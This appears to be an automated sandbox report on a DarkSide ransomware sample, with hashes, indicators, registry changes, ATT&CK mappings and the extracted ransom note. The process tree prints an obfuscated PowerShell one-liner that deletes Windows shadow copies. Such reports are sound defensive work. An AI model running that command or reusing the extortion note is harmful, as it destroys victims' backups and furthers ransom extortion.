darkside | 8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc

General

Target

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Size

59KB
MD5

04fde4340cc79cd9e61340d4c1e8ddfb
SHA1

88fc623483f7ffe57f986ed10789e6723083fcd8
SHA256

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc
SHA512

105ddfb8bbfedc8460fb1e6d26c6cd02ea81bfdc12a196c1c2f8e52bc73faf03a688339b4c231ab5b5b3885f2ad248115c32c95fc64e84462a16c3e237e6fc9c

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.f2cbf9aa.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4 When you open our website, put the following data in the input form: Key: lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 28 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\InstallStop.crw => C:\Users\Admin\Pictures\InstallStop.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\StartUse.tif.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\AssertPush.png.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\ExpandSuspend.crw => C:\Users\Admin\Pictures\ExpandSuspend.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\DisableSuspend.tif => C:\Users\Admin\Pictures\DisableSuspend.tif.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\SubmitSuspend.tiff => C:\Users\Admin\Pictures\SubmitSuspend.tiff.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\SubmitSuspend.tiff.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\CompleteRemove.tif.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\ExpandSuspend.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\EnterRevoke.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\UseFind.raw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\BackupEdit.tiff	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\EnterRevoke.crw => C:\Users\Admin\Pictures\EnterRevoke.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\CompleteRemove.tif => C:\Users\Admin\Pictures\CompleteRemove.tif.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\DisableSuspend.tif.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\InstallStop.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\BackupEdit.tiff => C:\Users\Admin\Pictures\BackupEdit.tiff.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\CheckpointRestart.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\FindDebug.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\UseFind.raw => C:\Users\Admin\Pictures\UseFind.raw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\SubmitSuspend.tiff	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\CloseUnblock.raw => C:\Users\Admin\Pictures\CloseUnblock.raw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\CloseUnblock.raw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\CheckpointRestart.crw => C:\Users\Admin\Pictures\CheckpointRestart.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\FindDebug.crw => C:\Users\Admin\Pictures\FindDebug.crw.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\StartUse.tif => C:\Users\Admin\Pictures\StartUse.tif.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File renamed	C:\Users\Admin\Pictures\AssertPush.png => C:\Users\Admin\Pictures\AssertPush.png.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
File opened for modification	C:\Users\Admin\Pictures\BackupEdit.tiff.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Modifies registry class 5 IoCs

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exe8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

pid	process
1752	powershell.exe
1752	powershell.exe
2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSecurityPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeTakeOwnershipPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeLoadDriverPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemProfilePrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemtimePrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeProfSingleProcessPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeIncBasePriorityPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeCreatePagefilePrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeBackupPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeRestorePrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeShutdownPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeDebugPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemEnvironmentPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeRemoteShutdownPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeUndockPrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeManageVolumePrivilege	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 33	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 34	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 35	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeDebugPrivilege	1752	powershell.exe
Token: SeBackupPrivilege	1680	vssvc.exe
Token: SeRestorePrivilege	1680	vssvc.exe
Token: SeAuditPrivilege	1680	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	pid	process	target process
PID 2004 wrote to memory of 1752	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe
PID 2004 wrote to memory of 1752	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe
PID 2004 wrote to memory of 1752	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe
PID 2004 wrote to memory of 1752	2004	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
"C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1680

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
46864d7c73339c24088695ab6540998e

SHA1
6e7fad85cd59fd5df5cdb1b7a44f65bd4bd3382a

SHA256
a0f81079f99a77be9f11dc85365388979321bebff63fdb3755e95ff1b26bb60b

SHA512
de484be172c59a0a4cbd92ff38e10734c0bf3fa7e1a415a5d2ad1ad49e67bd26c0e68005c4d61763290afd3916c3561851f7b788d954ff80d29aef969c1af6f9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
1ab751534b52d9fce32646a066bff4c9

SHA1
6eebc51e2b1b5beb94ec3c435770cf212df57b95

SHA256
ac022b98fd2114f5ceda4fd0c3c7c5e740da698edc12074158d4b8f0368bad93

SHA512
78fdeb1d07e3271c90f8b90eec6f34caf9f0e2858b4d833f0f1c707c3bd05bcdebcc958fdc84d14d838e9746fe38bc3a8decbc82fe905aa1cef779f1f5827b74

Download Submit
memory/1752-66-0x000000001AB10000-0x000000001AB12000-memory.dmp

Filesize
8KB

Download
memory/1752-63-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/1752-64-0x000000001AB90000-0x000000001AB91000-memory.dmp

Filesize
4KB

Download
memory/1752-65-0x000000001AA50000-0x000000001AA51000-memory.dmp

Filesize
4KB

Download
memory/1752-67-0x000000001AB14000-0x000000001AB16000-memory.dmp

Filesize
8KB

Download
memory/1752-68-0x0000000002440000-0x0000000002441000-memory.dmp

Filesize
4KB

Download
memory/1752-69-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

Filesize
4KB

Download
memory/1752-70-0x000000001AA80000-0x000000001AA81000-memory.dmp

Filesize
4KB

Download
memory/1752-62-0x000007FEFC391000-0x000007FEFC393000-memory.dmp

Filesize
8KB

Download
memory/1752-61-0x0000000000000000-mapping.dmp

Download
memory/2004-60-0x0000000075B31000-0x0000000075B33000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads